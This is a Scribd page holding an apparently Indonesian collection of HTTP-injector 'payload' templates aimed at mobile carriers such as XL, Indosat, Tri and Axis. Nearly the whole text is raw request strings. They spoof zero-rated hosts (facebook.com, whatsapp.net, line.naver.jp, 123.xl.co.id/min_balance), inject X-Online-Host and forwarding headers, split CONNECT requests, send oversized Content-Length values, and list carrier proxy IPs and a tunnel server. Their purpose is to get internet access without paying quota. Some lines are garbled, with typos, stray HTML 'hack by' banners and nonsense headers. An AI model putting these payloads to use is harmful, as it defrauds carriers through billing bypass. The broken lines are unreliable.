Scribd
Upload
572 views

Sort Metode Payload

The document contains raw HTTP requests and commands targeting various domains and services. It includes GET and POST requests to domains like xl.co.id, facebook.com, and whatsapp.net, as well as CONNECT commands with IP addresses and ports. The requests use techniques like header manipulation, URL encoding, and response checks.

Uploaded by

Eka Wijaya Ramdhani
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
572 views

Sort Metode Payload

The document contains raw HTTP requests and commands targeting various domains and services. It includes GET and POST requests to domains like xl.co.id, facebook.com, and whatsapp.net, as well as CONNECT commands with IP addresses and ports. The requests use techniques like header manipulation, URL encoding, and response checks.

Uploaded by

Eka Wijaya Ramdhani
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 7

Isat 10.19.19.

19:8080

Smartevd 10.17.27.250:8080

XL 202.152.240.50:8080

RAW

[raw][crlf][split]GET http://
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance]/ HTTP/1.1[crlf]Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]X-Online-Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]X-Forward-Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][delay_split]GET /http/1.1/[crlf]host: line.naver.jp[crlf][crlf]

[raw][crlf][instant_split]GET http://line.naver.jp/ HTTP/1.1[crlf]Host:


line.naver.jp[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][split]GET http://c.whatsapp.net/ HTTP/1.1[crlf]Host: c.whatsapp.net[crlf]X-


Online-Host: c.whatsapp.net[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][delay_split]GET http://xl.co.id/m.facebook.com/ HTTP/1.1[crlf]Host:


xl.co.id/m.facebook.com[crlf]X-Forwarded-For: xl.co.id/m.facebook.com[crlf]Connection:
Keep-Alive[crlf]user-Agent: [ua][crlf][crlf]

[raw][crlf][instant_split]GET http://bug.com/ HTTP/1 .1 200 0K[crlf]Host: Bug.com[crlf]X-


Online-Host:Bug.com[crlf]proxy-Connectipn: Keep-Alive[crlf]Content-Length:
999[crlf]User-Agent: [ua][crlf][crlf]
GET

GET http://free.facebook.com/ HTTP/1.1[crlf]Host: free.facebook.com[crlf]X-Online-


Host: free.facebook.com[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
[instant_split]CONNECT [host_port] [protocol][crlf][crlf]
GET http://[rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com]/
HTTP/1.1[crlf]Host:
[rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com][crlf]X-Forward-
Host: [rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com]
[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split][raw][crlf][crlf]

GET http://api.indosatooredoo.com/8080/ HTTP/1.1[crlf]Host:


api.indosatooredoo.com/8080[crlf]X-Online-Host: api.indosatooredoo.com/8080[crlf]X-
Forward-Host: api.indosatooredoo.com/8080[crlf][crlf][split]CONNECT [host_port]
[protocol][crlf][crlf]

GET http://api.indosatooredoo.com/ HTTP/1.1[crlf]Host: api.indosatooredoo.com[crlf]X-


Forwarded-For: api.indosatooredoo.com[crlf][split]Connection: Keep-Alive[crlf]
[crlf]CONNECT [host_port] [protocol][crlf][crlf]

GET http://myxlpostpaid.xl.co.id/ HTTP/1.1[crlf]Host:


myxlpostpaid.xl.co.id[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT
[host_port] [protocol][crlf][crlf][instant_split]CONNECT [host_port][crlf][crlf]

GET http://mypostpaid.xl.co.id/ HTTP/1.1[crlf]Host: mypostpaid.xl.co.id[crlf]Connection:


close[crlf]Connection: Keep-Alive[crlf][crlf][instant_split]CONNECT [host_port][crlf][crlf]

METHOD

[method] [host_port][crlf]@my.xl.co.id [protocol][crlf][crlf][instant_split]POST

http://line.naver.jp/ HTTP/1.1[crlf]Host: line.naver.jp[crlf]X-Online-Host:

line.naver.jp[crlf]proxy-Connection: close[crlf]Connection: Keep-Alive[crlf][crlf][crlf]

[method] [host][lf]www.axisnet.id [crlf][crlf]GET /1.1[crlf]X-Online-Host:


www.axisnet.id[crlf]Connection: Keep-Alive[crlf][crlf]
[method] [host_port]\r\n\r[split]GET http://mmc.xl.net.id.naver.net HTTP/1.1\r
Host: mmc.xl.net.id.naver.net\rConnection: keep-alive\r\r\r

CONNECT

CONNECT [host_port]

[crlf]@[rotate=myxl.co.id;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in] [crlf][crlf][instant_split]POST http://

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in]/ HTTP/1.1[crlf]Host:

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in][crlf]User-Agent: [ua][crlf]POST / HTTP/1.1[crlf]Host:

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in][crlf]Connection: close[crlf]User-Agent: Web-sniffer/1.1.0 (+http://web-

sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-Charset: ISO-8859-1,UTF-8;q=0-

.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]AcceptLanguage: de,en;q=0.7,en-us;q=-

0.3[crlf]Referer: http://web-sniffer.net/[crlf][crlf]Connection: Keep-Alive[crlf][crlf]FAST

CONNECT [instant_split] CONNECT [host_port]

[crlf]@[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;a

damstreet.heck.in] [crlf][crlf][instant_split]GET http://123.xl.co.id/min_balance7/

HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]User-Agent: [ua][crlf]GET /

HTTP/1.1[crlf]Host:
R A.S.C.R /BROKENHEARTH[crlf][crlf]Connection: close[crlf]User-Agen t:

Web-sniffer/1.1.0 (+http://web-sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-


Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]Accept-

Language: de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-sniffer.net/[crlf]

[crlf]Connection: Keep-Alive[crlf][crlf]\r\n\r\n

CONNECT [host_port][crlf]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]POST


http://123.xl.co.id/min_balance7/ &$#@*w-)><
<html><head><title></title><head><body><h1><font color="blue">XL INDONESIA 200
OK Connection Established HACK BY GALIH GUSTIMAN CIBER CRYME </h1><p>MAAF
PELANGGAN SETIA KAMI, KAMI DARI PIHAK XL INDONESIA MENDETEKSI KEBERADAAN
SIM CARD ANDA MENGGUNAKAN INTERNET TANPA KUOTA DAN PULSA,ANDA
TERDETEKSI ILEGAL JIKA ANDA TIDAK MERASAKAN MENGGUNAKAN INTERNET ILEGAL
SILAHKAN KLIK <a
href="http://123.xl.co.id/min_balance8.MY.AXIATA.COM">here</a></p></body></html>
<html><head><title><title><head><body><h1><font color="red">JANGAN LUPA
BAHAGIA !!!!</h1>/ HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]User-Agent: [ua]
[crlf]POST / HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]Connection:
close[crlf]User-Agent: Web-sniffer/1.1.0 (+http://web-sniffer.net/)[crlf]Accept-Encoding:
gzip[crlf]Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-
cache[crlf]Accept-Language: de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-
sniffer.net/[crlf][crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][protocol][crlf]host:Location:
http://internet.tri.co.id/pageredirect/front/regular[crlf][lf][delay_split][method]
http://goo.gl[crlf][crlf]Content-Lenght: 123[auth][port][host][crlf]
[crlf]HTTP/1.1[crlf]Host: 128.199.150.25:80[crlf][crlf][method] http://adf.ly[crlf]
[crlf]Content-Lenght: 123[auth][port][host][crlf][crlf]CONNECT X-sgdo22.serverip.co[lf]x-
sgdo25.serverip.co:443 HTTP/1.0[crlf]Connection: Keep-Alive[crlf]HTPP/1.1 200 OK[crlf]
[crlf][crlf]\r\r[split][netData]\r\r

CONNECT [host_port][crlf][crlf][crlf][instant_split]GET
http://my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js/ HTTP/1.1[crlf]Host:
www.my.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET / HTTP/1.1[crlf]Host:
my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js[crlf]Connection: close[crlf]
[crlf][crlf]GET http://my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js/
HTTP/1.1[crlf]my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js[crlf]GET /
HTTP/1.1[crlf]Host: my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-
2.2.2.min.js[crlf]Connection: close[crlf]Connection: Keep-Alive[crlf]\r\n\r\n

CONNECT [host_port][crlf][crlf][instant_split]GET
http://ibnads,xl.co.id/ HTTP/1.1[crlf]Host: prima,123.xl.co.id[crlf]User-Agent: [ua][crlf]
[crlf]GET / HTTP/1.1[crlf]Host: 123,xl.co.id.gudangsaos.us.to[crlf]Connection: Close[crlf]
[crlf]</h1><font color="blue" size="15px">XL OPOK JABAR
</font><html><head></h1><font color="red">?Copyright @GSM By : Sarken
Falsisme?<a[crlf]GET / HTTP/1.1[crlf]Host: 4G,xl.co.id/min_balance8[crlf]Connection:
close[crlf][crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][crlf]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]POST


http://123.xl.co.id/min_balance7/ HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]User-Agent: [ua][crlf]POST / HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]Connection: close[crlf]User-Agent: Web-sniffer/1.1.0
(+http://web-sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-Charset: ISO-8859-
1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]Accept-Language:
de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-sniffer.net/[crlf][crlf]Connection: Keep-
Alive[crlf][crlf]

CONNECT [host_port][crlf][crlf][instant_split]GET http://mypostpaid.xl.co.id/


HTTP/1.1[crlf]Host: ibnads.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET /HTTP/1.1[crlf]
Host: xl.sns.bz[crlf]Connection: close[crlf][crlf][crlf]GET /HTTP/1.1[crlf]Host:
4g.xl.co.id/min_balance8[crlf]Connection: close[crlf][crlf]Connection: Keep-Alive[crlf]
[crlf]

CONNECT [host_port][crlf][crlf]HTTP/1.1[crlf]GET http://myxlpostpaid.xl.co.id/ HTTP/1.1


200 OK[crlf]Host: myxlpostpaid.xl.co.id[crlf]User-Agent: Mozilla/5.0 (Linux; Android
4.4.2; ASUS_Z007 Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/55.0.2883.91 Mobile Safari/537.36[crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][crlf][crlf][instant_split]GET http://my.xl.co.id/ HTTP/1.1[crlf]Host:


prima.123.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET / HTTP/1.1[crlf]Host:
123.xl.co.id/prepaid[crlf]Connection: close[crlf][crlf][crlf]Content-Length:
9999999[crlf]Connection: Keep-Alive[crlf][crlf]
CONNECT [host_port][crlf][crlf][instant_split]GET http://123.xl.co.id;prime.123.xl.co.id/
HTTP/1.1[crlf]Host: 123.xl.co.id;prime.123.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET /
HTTP/1.1[crlf]Host: 123.xl.co.id;prime.123.xl.co.id[crlf]Connection: close[crlf][crlf]
[crlf]GET http://123.xl.co.id/ HTTP/1.1[crlf]GET / HTTP/1.1[crlf]Host:
123.xl.co.id;prime.123.xl.co.id[crlf]Connection: close[crlf][crlf][crlf]

CONNECT[host_port]@3030.tri.co.id[protocol][crlf][delay_sp|it]GET
http://3030.tri.co.id/HTTP/1.1[crlf]Host: 3030.tri.co.id[crlf]X-OnlineHost:
3030.tri.co.id[crlf]X-Forward-Host: 3030.tri.co.id[crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port] [crlf][crlf][instant_split]POST


http://123.xlgprs.co.id/m.facebook.com/ HTTP/1.1 200 OK[crlf]Host:
123.xlgprs.co.ook.com/ HTTP/1.1 200 OK[crlf]Host:
123.xlgprs.co.id/m.facebook.com[crlf]Connection: Keep-Alive[crlf]Conten-Length:
99999999999999999999[crlf]

CONNECT [host_port][crlf][delay_split]GET http://xl.co.id/m.facebook.com/


HTTP/1.1[crlf]Host: xl.co.id/m.facebook.com[crlf]X-Online-Host:
xl.co.id/m.facebook.com[crlf]X-Forward-Host: xl.co.id/m.facebook.com[crlf]Connection:
Keep-Alive[crlf]User-Agent: [ua][crlf]

CONNECT [host_port][crlf]@123.xl.co.id/min_balance8 [crlf][crlf][instant_split]GET


http://123.xl.co.id/min_balance8/ EHTTP/1.0[crlf]Host: 123.xl.co.id/min_balance8[crlf]X-
Online-Host: 123.xl.co.id/min_balance8[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua]
[crlf][crlf]Content-Lengh:99999999999999999999999999999999999999999999999[crlf]
[crlf]

CONNECT [host_port]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]GET


http://123.xl.co.id/min_balance7/ HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]User-Agent:[ua][crlf]
HTTP/1.1[crlf]Host:123.xl.co.id/min_balance7[crlf]Connection:close[crlf][crlf]User-Agent:
[ua][crlf] Content-length:1111111111[crlf] FullSpeed: maximal kb/s[crlf]Ping 8.8.8.8
-t[crlf]PingServer www.google.com[crlf]PING: 8.26.56.26:8.20.247.20/DNS/Connection:
fullSpeed&Keep-Alive[crlf][crlf]Content-Length:99999999999999999999[crlf][crlf]
CONNECT [host_port][crlf]@axisword.co.id [crlf][crlf][instant_split]GET
http://axisworld.co.id/ HTTP/1.1[crlf]Host: axisworld.co.id[crlf]Connection:
close[crlf]User-Agent: [ua][crlf]Cache: no-cache[crlf][crlf][crlf]

CONNECT 188.166.181.202:[port][crlf]@123.xl.co.id/freepaid [crlf][crlf]


[instant_split]GET /1.1[crlf]Host: [crlf]Connection: close[crlf][crlf][crlf]

CONNECT [host_port] HTTP/1.1[crlf][crlf]GEThttp://bug.com1; bug.com2; bug.com3/


[protokol][crlf]Host: bug.com1; bug.com2; bug.com3[crlf]Connection: Keep-Alive[crlf]
[crlf]

You might also like